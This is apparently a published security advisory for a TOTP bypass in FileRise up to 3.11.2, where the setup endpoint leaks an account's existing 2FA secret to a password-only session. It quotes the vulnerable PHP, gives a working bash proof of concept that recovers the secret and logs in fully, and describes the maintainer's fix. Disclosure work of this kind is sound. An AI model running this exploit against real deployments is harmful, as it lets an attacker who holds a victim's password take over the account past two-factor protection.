Skip to content

TOTP Bypass via Setup Endpoint Disclosing Existing Secret

High
error311 published GHSA-84hw-8g73-v3f8 May 7, 2026

Package

FileRise

Affected versions

<= 3.11.2

Patched versions

3.12.0

Description

Summary

/api/totp_setup.php is callable from a session that has only passed the password check (state pending_login_user). When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret inside the QR PNG instead of refusing or generating a new secret. An attacker who already possesses the victim's password can therefore retrieve the live TOTP secret, derive a valid one-time code, submit it to /api/totp_verify.php, and obtain a fully authenticated session without ever possessing the victim's authenticator device.

The vulnerability is gated entirely by knowledge of the password; it is not an unauthenticated takeover. Its impact is that TOTP provides no additional defense once the password is compromised (credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force) — i.e., the threat 2FA exists to mitigate.

Details

Root cause

Three code paths combine.

  1. Pending-login authority accepted at the setup gatesrc/FileRise/Http/Controllers/UserController.php:529-537:

    if (!( (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true)
           || isset($_SESSION['pending_login_user']) )) {
        http_response_code(403);
        echo json_encode(["error" => "Not authorized to access TOTP setup"]);
        exit;
    }
  2. Existing secret re-emitted instead of refusedsrc/FileRise/Domain/UserModel.php:817-854:

    $totpSecret = null;
    foreach ($lines as $line) {
        $parts = explode(':', trim($line));
        if (count($parts) >= 4 && strcasecmp($parts[0], $username) === 0 && !empty($parts[3])) {
            $totpSecret = decryptData($parts[3], $encryptionKey);   // existing secret
            break;
        }
    }
    if (!$totpSecret) {
        $totpSecret = $tfa->createSecret();
    }
    $otpauthUrl = "otpauth://totp/{$label}?secret={$totpSecret}&issuer={$issuer}";
    // embedded into the returned QR PNG
  3. Pending-login state is set after a correct passwordsrc/FileRise/Http/Controllers/AuthController.php:555-562:

    if (!empty($user['totp_secret'])) {
        $_SESSION['pending_login_user']   = $username;
        $_SESSION['pending_login_secret'] = $user['totp_secret'];
        echo json_encode(['totp_required' => true]);
        exit();
    }

PoC

#!/usr/bin/env bash

TARGET="http://127.0.0.1:8080"
USERNAME="admin"
PASS="Abcd1234!"

# Step 1 — submit the password only; server enters pending_login_user state
curl -sk -c j -X POST "$TARGET/api/auth/auth.php" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$USERNAME\",\"password\":\"$PASS\"}"
printf "\n"  

# expected: {"totp_required":true}

# Step 2 — fetch a CSRF token from the unauthenticated endpoint
CSRF=$(curl -sk -b j "$TARGET/api/auth/token.php" | jq -r .csrf_token)

# Step 3 — pull the TOTP setup QR from the pending-login session
curl -sk -b j -H "X-CSRF-Token: $CSRF" \
  "$TARGET/api/totp_setup.php" -o qr.png
printf "\n"  

# expected: HTTP 200, image/png, QR encodes:
# otpauth://totp/FileRise%3A<username>?secret=<RAW_SECRET>&issuer=FileRise

# Step 4 — recover the secret and derive the current TOTP
SECRET=$(zbarimg --raw qr.png | sed -E 's/.*secret=([A-Z2-7]+).*/\1/')
CODE=$(oathtool --totp -b "$SECRET")

printf 'Secret: %s\n' "$SECRET"
printf 'Code: %s\n' "$CODE"

# Step 5 — submit the code; persist the new PHPSESSID issued on success
curl -sk -b j -c j -X POST "$TARGET/api/totp_verify.php" \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: $CSRF" \
  -d "{\"totp_code\":\"$CODE\"}"
printf "\n"  

# expected: {"status":"ok","success":"Login successful","username":"<username>",...}

# Step 6 — confirm the session is fully authenticated
curl -sk -b j "$TARGET/api/auth/checkAuth.php"
printf "\n"  

# expected: {"authenticated":true,"username":"<username>","totp_enabled":true}
image

Impact

  1. TOTP provides no additional protection beyond the password for any account in the default deployment. An attacker who obtains the password through any external channel (credential stuffing, breach reuse, phishing, keylogger, brute force on weak passwords) gains a fully authenticated session without ever possessing the authenticator device.
  2. The attacker walks away with the long-lived TOTP secret, not a single replayed code, and can re-enter the account at will until the legitimate user re-enrols.
  3. The exploit is silent: the secret is not rotated, the user's authenticator app keeps producing valid codes, and there is no in-product notification.
  4. If an administrator's password is known and that admin has TOTP enabled, the attacker gains full administrative control of the FileRise instance — every file, every user, every config — including any encrypted-folder material the admin can decrypt.

Maintainer Response

Thanks for the report and for the detailed reproduction steps.

I validated the issue in the TOTP setup path. The root cause was that /api/totp_setup.php and /api/profile/totp_setup.php allowed access from a password-only pending-login session, and the setup model reused an already configured TOTP secret when building the QR code. That meant an attacker who already knew a user's password could retrieve the live TOTP enrollment secret and complete the second-factor step without possessing the user's authenticator device.

The fix is prepared for FileRise v3.12.0.

The change is:

  • TOTP setup now requires a fully authenticated profile session, not a pending-login session
  • password-only pending-login sessions can still submit a TOTP code to complete login, but cannot access the TOTP setup QR endpoint
  • UserModel::setupTOTP() now refuses accounts that already have a stored TOTP secret instead of decrypting and re-emitting that secret in a QR payload
  • first-time TOTP setup for an authenticated user without an existing secret still generates a new secret and QR code

I also added regression coverage for the existing-secret case and re-ran the security regression script:

  • php -l passed for the changed PHP files
  • php FileRiseClean/tests/security/auth_security_regressions.php passed
  • a pending-login session calling the setup controller now receives an authorization error instead of image/png
  • a model-level setup call for an account with an existing TOTP secret now returns 409 and does not return QR image data

I agree the report is valid and High severity.

Thanks again for reporting it responsibly.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-44460

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Credits